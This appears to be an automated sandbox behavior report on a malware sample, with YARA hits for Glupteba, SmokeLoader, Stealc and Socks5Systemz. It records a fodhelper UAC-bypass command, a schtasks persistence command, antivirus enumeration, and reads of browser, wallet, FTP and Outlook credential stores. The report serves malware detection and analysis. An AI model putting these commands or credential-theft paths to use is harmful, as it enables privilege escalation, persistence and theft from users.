Source: C:\Users\user\Desktop\5Yzloz244r.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D741.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\D741.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read

Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Process created: C:\Users\user\AppData\Local\Temp\87C6.exe C:\Users\user\AppData\Local\Temp\87C6.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7096 -ip 7096
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 1448
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C fodhelper
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Users\user\AppData\Local\Temp\C33B.exe C:\Users\user\AppData\Local\Temp\C33B.exe
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process created: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe "C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process created: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe "C:\Users\user\AppData\Local\Temp\InstallSetup4.exe"
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process created: C:\Users\user\AppData\Local\Temp\FourthX.exe "C:\Users\user\AppData\Local\Temp\FourthX.exe"
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C fodhelper
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 1251
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\user\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"

Source: C:\Users\user\AppData\Local\Temp\6C7B.exe

Code function: 4_2_004082B6 CheckTokenMembership,AllocateAndInitializeSid,FreeSid,

4_2_004082B6

Source: explorer.exe, 00000001.00000000.1683180064.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1684336606.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1686512188.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.1683180064.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.1682948776.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 00000001.00000000.1683180064.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000001.00000000.1683180064.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: GetTickCount,SetLastError,GetConsoleAliasesW,CreateDirectoryW,ResetEvent,InterlockedIncrement,DestroyCursor,SetDefaultCommConfigW,FreeEnvironmentStringsW,GetCurrentDirectoryA,EnumDateFormatsExA,GetStartupInfoW,GetModuleHandleExA,OpenJobObjectA,GetConsoleAliasesLengthA,DnsHostnameToComputerNameA,WideCharToMultiByte,GetLocaleInfoA,TzSpecificLocalTimeToSystemTime,SetCurrentDirectoryA,MoveFileExW,OpenWaitableTimerA,CompareStringW,GetProcessHeap,SetProcessWorkingSetSize,	0_2_00421580
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: GetTickCount,SetLastError,GetConsoleAliasesW,CreateDirectoryW,ResetEvent,InterlockedIncrement,DestroyCursor,SetDefaultCommConfigW,FreeEnvironmentStringsW,GetCurrentDirectoryA,EnumDateFormatsExA,GetStartupInfoW,GetModuleHandleExA,OpenJobObjectA,GetConsoleAliasesLengthA,DnsHostnameToComputerNameA,WideCharToMultiByte,GetLocaleInfoA,TzSpecificLocalTimeToSystemTime,SetCurrentDirectoryA,MoveFileExW,OpenWaitableTimerA,CompareStringW,GetProcessHeap,SetProcessWorkingSetSize,	3_2_00421580
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	14_2_0040E079
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	14_2_0040E012
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	14_2_0040E0B5
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: GetLocaleInfoA,	14_2_00411109
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	14_2_004092EC
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	14_2_0040DB5E
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: GetTickCount,SetLastError,GetConsoleAliasesW,CreateDirectoryW,ResetEvent,InterlockedIncrement,DestroyIcon,_memset,SetDefaultCommConfigW,FreeEnvironmentStringsW,GetCurrentDirectoryA,EnumDateFormatsExA,GetStartupInfoW,GetModuleHandleExA,OpenJobObjectA,GetConsoleAliasesLengthA,DnsHostnameToComputerNameA,WideCharToMultiByte,GetLocaleInfoA,TzSpecificLocalTimeToSystemTime,SetCurrentDirectoryA,MoveFileExW,OpenWaitableTimerA,CompareStringW,GetProcessHeap,_wprintf,_calloc,_calloc,_memset,_calloc,SetProcessWorkingSetSize,	14_2_005CBB00
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	14_2_004093C6
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	14_2_0040DC53
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	14_2_0040DCFA
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	14_2_0040DD55
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	14_2_0040DF26
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	14_2_00410FD4
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: EnumSystemLocalesA,	14_2_0040DFE8

Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\C33B.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Users\user\Desktop\5Yzloz244r.exe

Code function: 0_2_004214D0 FreeEnvironmentStringsW,ReadEventLogA,CreateNamedPipeA,FileTimeToLocalFileTime,

0_2_004214D0

Source: C:\Users\user\AppData\Local\Temp\87C6.exe

Code function: 14_2_005CBF60 GetSystemTimes,GetSystemTimes,FlushFileBuffers,GetVolumeInformationW,FlushFileBuffers,GetVolumeInformationW,

14_2_005CBF60

Source: C:\Users\user\AppData\Local\Temp\6C7B.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Overwrites Mozilla Firefox settings

Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected CryptOne packer

Source: Yara match

File source: C:\Users\user\AppData\Local\Temp\742D.dll, type: DROPPED

Yara detected Glupteba

Source: Yara match	File source: 29.2.288c47bbc1871b439df19ff4df68f076.exe.2db0e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.288c47bbc1871b439df19ff4df68f076.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.288c47bbc1871b439df19ff4df68f076.exe.36a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000003.2186277276.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2260755475.0000000000843000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2274530955.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 32.2.D741.exe.590e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.3.D741.exe.5a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.D741.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1942691049.0000000000601000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2239902889.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2240548880.0000000000711000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1703068992.0000000000601000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1703030711.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1942416948.0000000000480000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2186806895.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Socks5Systemz

Source: Yara match	File source: 00000016.00000002.4110757881.0000000002B61000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.4110412410.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000027.00000002.2633096271.0000000000900000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: Yara match

File source: 00000027.00000002.2633096271.0000000000937000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected CryptOne packer

Source: Yara match

File source: C:\Users\user\AppData\Local\Temp\742D.dll, type: DROPPED

Yara detected Glupteba

Source: Yara match	File source: 29.2.288c47bbc1871b439df19ff4df68f076.exe.2db0e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.288c47bbc1871b439df19ff4df68f076.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.288c47bbc1871b439df19ff4df68f076.exe.36a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000003.2186277276.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2260755475.0000000000843000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2274530955.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 32.2.D741.exe.590e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.3.D741.exe.5a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.D741.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1942691049.0000000000601000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2239902889.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2240548880.0000000000711000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1703068992.0000000000601000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1703030711.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1942416948.0000000000480000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2186806895.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Socks5Systemz

